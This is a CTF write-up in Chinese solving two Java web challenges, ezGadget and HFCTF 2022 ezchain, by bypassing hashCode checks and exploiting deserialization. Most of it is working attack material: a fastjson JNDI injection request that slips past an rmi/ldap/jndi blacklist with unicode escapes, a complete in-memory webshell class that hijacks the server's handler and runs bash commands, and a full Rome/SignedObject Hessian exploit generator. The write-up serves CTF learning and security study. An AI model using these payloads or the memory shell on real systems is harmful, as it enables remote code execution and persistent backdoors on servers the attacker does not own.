2022 蓝帽杯ezGadget
题目给的是一个jar包用的是springboot+tomcat

用idea反编译后找到其中的JSONController,还是很容易的
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42
|
package com.example.spring; import com.alibaba.fastjson.JSON; import com.alibaba.fastjson.parser.ParserConfig; import java.util.Objects; import java.util.regex.Pattern; import org.springframework.stereotype.Controller; import org.springframework.web.bind.annotation.RequestMapping; import org.springframework.web.bind.annotation.RequestParam; import org.springframework.web.bind.annotation.ResponseBody; @Controller public class JSONController { @ResponseBody @RequestMapping({"/"}) public String hello() { return "Your key is:" + secret.getKey(); } @ResponseBody @RequestMapping({"/json"}) public String Unserjson(@RequestParam String str, @RequestParam String input) throws Exception { if (str != null && Objects.hashCode(str) == secret.getKey().hashCode() && !secret.getKey().equals(str)) { String pattern = ".*rmi.*|.*jndi.*|.*ldap.*|.*\\\\x.*"; Pattern p = Pattern.compile(pattern, 2); boolean StrMatch = p.matcher(input).matches(); if (StrMatch) { return "Hacker get out!!!"; } ParserConfig.getGlobalInstance().setAutoTypeSupport(true); JSON.parseObject(input); } return "hello"; } }
|
接着是调用的secret
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19
|
package com.example.spring; import org.apache.commons.lang3.RandomStringUtils; public class secret { private static final String Key = RandomStringUtils.randomAlphanumeric(16); private secret() { } public static String getKey() { return Key; } }
|
分析
满足2个逻辑才能进入/json路由触发parseObject完成fastJson注入
-
满足hashCode,有点php里弱比较那味了,但其实在cc7里遇到过这个问题如何构造呢?
/HF=Ge|
|72*31+70 = 71*31+101|
1 2 3 4 5
| from urllib import parse
while 1: key=input("#") print(parse.quote(chr(ord(key[0]) - 1) + chr(ord(key[1]) + 31) + key[2::]))
|
访问根路由会返回那个key,然后我们再构造一个即可绕过
最终生成: Afqt7yG0PmN9uJZP
然后向input里传入恶意fastJson字符串即可
2. but不能出现rmi,ldap,\x(不能用16进制),直接用unicode绕过即可这儿是fastjson 1.2.62,然后存在tomcat9.x,本地复现就随便挑了个JDK打了,选了191以上的jdk

有tomcat直接一把梭~
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23
| POST /json HTTP/1.1
Host: localhost:8080
DNT: 1
User-Agent: dev
Cookie: Phpstorm-99ea2660=a721c90b-be3c-45eb-8643-6fb7a6cf4bc0
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Encoding: gzip, deflate
Content-Type: application/x-www-form-urlencoded
Accept-Language: zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3
Content-Length: 373
str=Afqt7yG0PmN9uJZP&input={"@type":"org.apache.xbean.propertyeditor.\u004a\u006e\u0064\u0069Converter","AsText":"%0aldap://127.0.0.1:50389/944331"}
|
22 hfctf ezchain
给一个docker文件提示不出网
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27
| version: '2.4' services: nginx: image: nginx:1.15 ports: - "0.0.0.0:8090:80" restart: always volumes: - ./nginx.conf:/etc/nginx/conf.d/default.conf:ro networks: - internal_network - out_network web: build: ./ restart: always volumes: - ./flag:/flag:ro networks: - internal_network networks: internal_network: internal: true ipam: driver: default out_network: ipam: driver: default
|
然后给了题目的jar包,老规矩反编译看看核心逻辑:
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77
|
package com.ctf.ezchain; import com.caucho.hessian.io.Hessian2Input; import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.net.httpserver.HttpServer; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.net.InetSocketAddress; import java.util.HashMap; import java.util.Map; import java.util.Objects; import java.util.concurrent.Executors; public class Index { public static void main(String[] args) throws Exception { System.out.println("server start"); HttpServer server = HttpServer.create(new InetSocketAddress(8090), 0); server.createContext("/", new MyHandler()); server.setExecutor(Executors.newCachedThreadPool()); server.start(); } static class MyHandler implements HttpHandler { public void handle(HttpExchange t) throws IOException { String query = t.getRequestURI().getQuery(); Map<String, String> queryMap = this.queryToMap(query); String response = "Welcome to HFCTF 2022"; if (queryMap != null) { String token = (String)queryMap.get("token"); String secret = "HFCTF2022"; if (Objects.hashCode(token) == secret.hashCode() && !secret.equals(token)) { InputStream is = t.getRequestBody(); try { Hessian2Input input = new Hessian2Input(is); input.readObject(); } catch (Exception var9) { response = "oops! something is wrong"; } } else { response = "your token is wrong"; } } t.sendResponseHeaders(200, (long)response.length()); OutputStream os = t.getResponseBody(); os.write(response.getBytes()); os.close(); } public Map<String, String> queryToMap(String query) { if (query == null) { return null; } else { Map<String, String> result = new HashMap(); for(String param : query.split("&")) { String[] entry = param.split("="); if (entry.length > 1) { result.put(entry[0], entry[1]); } else { result.put(entry[0], ""); } } return result; } } } }
|
其中明显就是
Hessian2Input input = new Hessian2Input(is);
input.readObject(); 一个裸的hessian2反序列化 但是前面还是要去绕过一下那个hashCode
HFCTF200p`
然后就是二次反序列化的问题了
先添加依赖,把jar包放到一个lib目录下!

因为无回显,先写个原生内存🐎抓一下context来进行回显本类一定要继承AbstractTranslet
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75
| import com.sun.net.httpserver.HttpExchange; import com.sun.net.httpserver.HttpHandler; import com.sun.org.apache.xalan.internal.xsltc.DOM; import com.sun.org.apache.xalan.internal.xsltc.TransletException; import com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet; import com.sun.org.apache.xml.internal.dtm.DTMAxisIterator; import com.sun.org.apache.xml.internal.serializer.SerializationHandler; import java.io.ByteArrayOutputStream; import java.io.IOException; import java.io.InputStream; import java.io.OutputStream; import java.lang.reflect.Field; public class memshell extends AbstractTranslet implements HttpHandler { @Override public void handle(HttpExchange httpExchange) throws IOException { String query = httpExchange.getRequestURI().getQuery(); String[] split = query.split("="); String response = "SUCCESS"+"\n"; if (split[0].equals("shell")) { String[] cmd = new String[]{"bash","-c",split[1]}; InputStream inputStream = Runtime.getRuntime().exec(cmd).getInputStream(); byte[] bytes = new byte[1024]; ByteArrayOutputStream byteArrayOutputStream = new ByteArrayOutputStream(); int flag=-1; while((flag=inputStream.read(bytes))!=-1){ byteArrayOutputStream.write(bytes,0,flag); } response += byteArrayOutputStream.toString(); byteArrayOutputStream.close(); } httpExchange.sendResponseHeaders(200,response.length()); OutputStream outputStream = httpExchange.getResponseBody(); outputStream.write(response.getBytes()); outputStream.close(); } public memshell(){ try{ ThreadGroup threadGroup = Thread.currentThread().getThreadGroup(); Field threadsFeld = threadGroup.getClass().getDeclaredField("threads"); threadsFeld.setAccessible(true); Thread[] threads = (Thread[])threadsFeld.get(threadGroup); Thread thread = threads[1]; Field targetField = thread.getClass().getDeclaredField("target"); targetField.setAccessible(true); Object object = targetField.get(thread); Field this$0Field = object.getClass().getDeclaredField("this$0"); this$0Field.setAccessible(true); object = this$0Field.get(object); Field contextsField = object.getClass().getDeclaredField("contexts"); contextsField.setAccessible(true); object = contextsField.get(object); Field listField = object.getClass().getDeclaredField("list"); listField.setAccessible(true); java.util.LinkedList linkedList = (java.util.LinkedList)listField.get(object); object = linkedList.get(0); Field handlerField = object.getClass().getDeclaredField("handler"); handlerField.setAccessible(true); handlerField.set(object,this); }catch(Exception exception){ } } @Override public void transform(DOM document, SerializationHandler[] handlers) throws TransletException { } @Override public void transform(DOM document, DTMAxisIterator iterator, SerializationHandler handler) throws TransletException { } }
|
有了前面的rome链的基础,手写一个二次反序列化加载任意类的EXP
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39 40 41 42 43 44 45 46 47 48 49 50 51 52 53 54 55 56 57 58 59 60 61 62 63 64 65 66 67 68 69 70 71 72 73 74 75 76 77 78 79 80 81 82 83 84 85 86 87
| package me.eviden.test; import com.caucho.hessian.io.Hessian2Input; import com.caucho.hessian.io.Hessian2Output; import com.rometools.rome.feed.impl.EqualsBean; import com.rometools.rome.feed.impl.ObjectBean; import com.rometools.rome.feed.impl.ToStringBean; import javassist.ClassPool; import javassist.CtClass; import me.eviden.util.util; import javax.management.BadAttributeValueExpException; import javax.xml.transform.Templates; import java.io.*; import java.nio.file.Files; import java.nio.file.Paths; import java.security.*; import java.util.Base64; import java.util.HashMap; public class HFEXP { public static void main(String[] args) throws Exception { String AbstractTranslet="com.sun.org.apache.xalan.internal.xsltc.runtime.AbstractTranslet"; String TemplatesImpl="com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl";
byte[] bytes = Files.readAllBytes(Paths.get("F:\\Main-Sec\\JavaSec\\code\\TwoSer\\Rome\\target\\classes\\me\\eviden\\payload\\MemShell.class")); Object templateImpl = Class.forName(TemplatesImpl).getDeclaredConstructor(new Class[]{}).newInstance(); util.setField(templateImpl,"_bytecodes", new byte[][]{bytes}); util.setField(templateImpl,"_name", "test"); util.setField(templateImpl,"_tfactory",null); ToStringBean toStringBean = new ToStringBean(Templates.class, templateImpl); BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null); util.setField(badAttributeValueExpException, "val", toStringBean); KeyPairGenerator keyPairGenerator = KeyPairGenerator.getInstance("RSA"); KeyPair keyPair = keyPairGenerator.generateKeyPair(); PrivateKey aPrivate = keyPair.getPrivate(); Signature signature = Signature.getInstance("MD5withRSA"); SignedObject signedObject = new SignedObject(badAttributeValueExpException,aPrivate,signature); ToStringBean toStringBean1 = new ToStringBean(SignedObject.class,signedObject); EqualsBean equalsBean = new EqualsBean(String.class,"123"); HashMap hashMap = new HashMap(); hashMap.put(equalsBean,"1"); util.setField(equalsBean,"beanClass",ToStringBean.class); util.setField(equalsBean,"obj",toStringBean1); serialize(hashMap);
} public static void serialize(Object object) throws Exception { FileOutputStream fileOutputStream = new FileOutputStream("hf.ser"); Hessian2Output hessian2Output = new Hessian2Output(fileOutputStream); hessian2Output.writeObject(object); hessian2Output.flush(); hessian2Output.close(); ByteArrayOutputStream ser = new ByteArrayOutputStream(); Hessian2Output hessianOutput=new Hessian2Output(ser); hessianOutput.writeObject(object); hessianOutput.close(); String base = Base64.getEncoder().encodeToString(ser.toByteArray()); System.out.println(base); } public static void unserialize(String filename) throws Exception { FileInputStream fileInputStream = new FileInputStream(filename); Hessian2Input hessian2Input = new Hessian2Input(fileInputStream); hessian2Input.readObject(); } }
|


Over!
本题考点特别的综合~